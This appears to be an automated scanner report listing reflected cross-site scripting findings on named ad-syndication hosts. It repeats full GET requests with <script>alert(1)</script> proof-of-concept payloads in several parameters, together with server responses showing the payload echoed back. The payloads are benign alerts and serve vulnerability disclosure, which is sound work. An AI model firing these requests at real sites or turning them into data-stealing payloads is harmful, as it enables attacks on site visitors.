HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1100 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
The value of the banner request parameter is copied into the HTML document as plain text between tags. The payload 5a247<script>alert(1)</script>3b2d0a6e687 was submitted in the banner parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=97654293&t=campaign&audience=Business&banner=Button_180x90_Image5a247<script>alert(1)</script>3b2d0a6e687&category=60&i=2&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i2.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1104 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
if (typeof(CSP_GLOBAL) != "undefined"){ (function($$) { try { var scriptname = "CSP?csp_request_type=validate&legacy=true&spanId=97654293&t=campaign&audience=Business&banner ...[SNIP]... aign",project:"microsoft",show:"true",url:"c634454825056194218-pmicrosoft-l1-i2.contentcastsyndication.com/d1.aspx?p6(ct1&cd60i99&fCampaigns_Local_Audience~1=Business!)[]&i=2&banner=Button_180x90_Image5a247<script>alert(1)</script>3b2d0a6e687",ElementType:"campaign",ElementAction:"lightbox",extra:"{width: '750', height: '600'}",audience:"Business",category:"60",banner:"Button_180x90_Image5a247<script> ...[SNIP]...
The value of the category request parameter is copied into the HTML document as plain text between tags. The payload fe653<script>alert(1)</script>2b5cd549d1f was submitted in the category parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=97654293&t=campaign&audience=Business&banner=Button_180x90_Image&category=60fe653<script>alert(1)</script>2b5cd549d1f&i=2&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i2.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1104 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
The value of the i request parameter is copied into the HTML document as plain text between tags. The payload ec059<script>alert(1)</script>2baf265cd60 was submitted in the i parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=97654293&t=campaign&audience=Business&banner=Button_180x90_Image&category=60&i=2ec059<script>alert(1)</script>2baf265cd60&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i2.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1063 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
if (typeof(CSP_GLOBAL) != "undefined"){ (function($$) { try { var scriptname = "CSP?csp_request_type=validate&legacy=true&spanId=97654293&t=campaign&audience=Business&banner ...[SNIP]... bj = {SyndicationType:"campaign",project:"microsoft",show:"true",url:"c634454825056194218-pmicrosoft-l1-i2.contentcastsyndication.com/d1.aspx?p6(ct1&cd60i99&fCampaigns_Local_Audience~1=Business!)[]&i=2ec059<script>alert(1)</script>2baf265cd60&banner=Button_180x90_Image",ElementType:"campaign",ElementAction:"lightbox",extra:"{width: '750', height: '600'}",audience:"Business",category:"60",banner:"Button_180x90_Image",domain:"c63445482505619 ...[SNIP]...
The value of the t request parameter is copied into the HTML document as plain text between tags. The payload aa69d<script>alert(1)</script>87750e937c1 was submitted in the t parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=97654293&t=campaignaa69d<script>alert(1)</script>87750e937c1&audience=Business&banner=Button_180x90_Image&category=60&i=2&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i2.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 677 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
The value of the banner request parameter is copied into the HTML document as plain text between tags. The payload 8ca1f<script>alert(1)</script>c5c78f72b0f was submitted in the banner parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd60i99&fCampaigns_Local_Audience~1=Business!)[]&i=2&banner=Button_180x90_Image8ca1f<script>alert(1)</script>c5c78f72b0f HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i2.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 1857 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
The value of the i request parameter is copied into the HTML document as plain text between tags. The payload a9128<script>alert(1)</script>eec64ebe9f4 was submitted in the i parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd60i99&fCampaigns_Local_Audience~1=Business!)[]&i=2a9128<script>alert(1)</script>eec64ebe9f4&banner=Button_180x90_Image HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i2.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 2092 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
(function(collection, instance) { var c = new CspCampaign("Micr_BusinessPC_Res_Cus_Bus", "https://12.contentcastsyndication.com/FTP/Campaign/Microsoft/Micr_BusinessPC_Res_Bus/en/Banners/ ...[SNIP]...
2.64. http://c634454825056194218-pmicrosoft-l1-i2.contentcastsyndication.com/d1.aspx [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 4fab7<script>alert(1)</script>8924445d085 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd60i99&fCampaigns_Local_Audience~1=Business!)[]&i=2&banner=Button_180x90_Image&4fab7<script>alert(1)</script>8924445d085=1 HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i2.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 1972 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
The value of the p6(ct1&cd60i99&fCampaigns_Local_Audience~1 request parameter is copied into the HTML document as plain text between tags. The payload 96ce2<script>alert(1)</script>2e3102f7900 was submitted in the p6(ct1&cd60i99&fCampaigns_Local_Audience~1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd60i99&fCampaigns_Local_Audience~1=Business!)[]96ce2<script>alert(1)</script>2e3102f7900&i=2&banner=Button_180x90_Image HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i2.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 1969 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:57 GMT Date: Fri, 30 Sep 2011 13:28:57 GMT Connection: close
The value of the audience request parameter is copied into the HTML document as plain text between tags. The payload 59583<script>alert(1)</script>8de8e6e2519 was submitted in the audience parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=69421819&t=campaign&audience=Business59583<script>alert(1)</script>8de8e6e2519&banner=Button_180x90_Image&category=57&i=3&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i3.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1100 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
The value of the banner request parameter is copied into the HTML document as plain text between tags. The payload e39c4<script>alert(1)</script>ab66cd8ff46 was submitted in the banner parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=69421819&t=campaign&audience=Business&banner=Button_180x90_Imagee39c4<script>alert(1)</script>ab66cd8ff46&category=57&i=3&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i3.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1104 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
if (typeof(CSP_GLOBAL) != "undefined"){ (function($$) { try { var scriptname = "CSP?csp_request_type=validate&legacy=true&spanId=69421819&t=campaign&audience=Business&banner ...[SNIP]... aign",project:"microsoft",show:"true",url:"c634454825056194218-pmicrosoft-l1-i3.contentcastsyndication.com/d1.aspx?p6(ct1&cd57i99&fCampaigns_Local_Audience~1=Business!)[]&i=3&banner=Button_180x90_Imagee39c4<script>alert(1)</script>ab66cd8ff46",ElementType:"campaign",ElementAction:"lightbox",extra:"{width: '750', height: '600'}",audience:"Business",category:"57",banner:"Button_180x90_Imagee39c4<script> ...[SNIP]...
The value of the category request parameter is copied into the HTML document as plain text between tags. The payload 4c8dc<script>alert(1)</script>715c4b4f13d was submitted in the category parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=69421819&t=campaign&audience=Business&banner=Button_180x90_Image&category=574c8dc<script>alert(1)</script>715c4b4f13d&i=3&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i3.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1104 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
The value of the i request parameter is copied into the HTML document as plain text between tags. The payload 7e208<script>alert(1)</script>87a6a757e4a was submitted in the i parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=69421819&t=campaign&audience=Business&banner=Button_180x90_Image&category=57&i=37e208<script>alert(1)</script>87a6a757e4a&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i3.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1063 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
if (typeof(CSP_GLOBAL) != "undefined"){ (function($$) { try { var scriptname = "CSP?csp_request_type=validate&legacy=true&spanId=69421819&t=campaign&audience=Business&banner ...[SNIP]... bj = {SyndicationType:"campaign",project:"microsoft",show:"true",url:"c634454825056194218-pmicrosoft-l1-i3.contentcastsyndication.com/d1.aspx?p6(ct1&cd57i99&fCampaigns_Local_Audience~1=Business!)[]&i=37e208<script>alert(1)</script>87a6a757e4a&banner=Button_180x90_Image",ElementType:"campaign",ElementAction:"lightbox",extra:"{width: '750', height: '600'}",audience:"Business",category:"57",banner:"Button_180x90_Image",domain:"c63445482505619 ...[SNIP]...
The value of the t request parameter is copied into the HTML document as plain text between tags. The payload 66fba<script>alert(1)</script>42af6da8ff was submitted in the t parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=69421819&t=campaign66fba<script>alert(1)</script>42af6da8ff&audience=Business&banner=Button_180x90_Image&category=57&i=3&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i3.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 675 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
The value of the banner request parameter is copied into the HTML document as plain text between tags. The payload 62e8a<script>alert(1)</script>0170ab71f was submitted in the banner parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd57i99&fCampaigns_Local_Audience~1=Business!)[]&i=3&banner=Button_180x90_Image62e8a<script>alert(1)</script>0170ab71f HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i3.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 1855 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
The value of the i request parameter is copied into the HTML document as plain text between tags. The payload e51aa<script>alert(1)</script>15d8b4afdf5 was submitted in the i parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd57i99&fCampaigns_Local_Audience~1=Business!)[]&i=3e51aa<script>alert(1)</script>15d8b4afdf5&banner=Button_180x90_Image HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i3.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 2092 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
(function(collection, instance) { var c = new CspCampaign("Micr_BusinessPC_Res_Cus_Bus", "https://12.contentcastsyndication.com/FTP/Campaign/Microsoft/Micr_BusinessPC_Res_Bus/en/Banners/ ...[SNIP]...
2.73. http://c634454825056194218-pmicrosoft-l1-i3.contentcastsyndication.com/d1.aspx [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 88f32<script>alert(1)</script>f98e5ddabed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd57i99&fCampaigns_Local_Audience~1=Business!)[]&i=3&banner=Button_180x90_Image&88f32<script>alert(1)</script>f98e5ddabed=1 HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i3.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 1972 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
The value of the p6(ct1&cd57i99&fCampaigns_Local_Audience~1 request parameter is copied into the HTML document as plain text between tags. The payload a2d4f<script>alert(1)</script>dcb24586c78 was submitted in the p6(ct1&cd57i99&fCampaigns_Local_Audience~1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd57i99&fCampaigns_Local_Audience~1=Business!)[]a2d4f<script>alert(1)</script>dcb24586c78&i=3&banner=Button_180x90_Image HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i3.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 1969 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:57 GMT Date: Fri, 30 Sep 2011 13:28:57 GMT Connection: close
The value of the audience request parameter is copied into the HTML document as plain text between tags. The payload 984ac<script>alert(1)</script>9ec781ae40a was submitted in the audience parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=9669240&t=campaign&audience=Consumer984ac<script>alert(1)</script>9ec781ae40a&banner=Button_180x90_Image&category=53&i=4&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i4.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1099 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
The value of the banner request parameter is copied into the HTML document as plain text between tags. The payload 11f0e<script>alert(1)</script>f6c73b36d2 was submitted in the banner parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=9669240&t=campaign&audience=Consumer&banner=Button_180x90_Image11f0e<script>alert(1)</script>f6c73b36d2&category=53&i=4&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i4.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1100 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
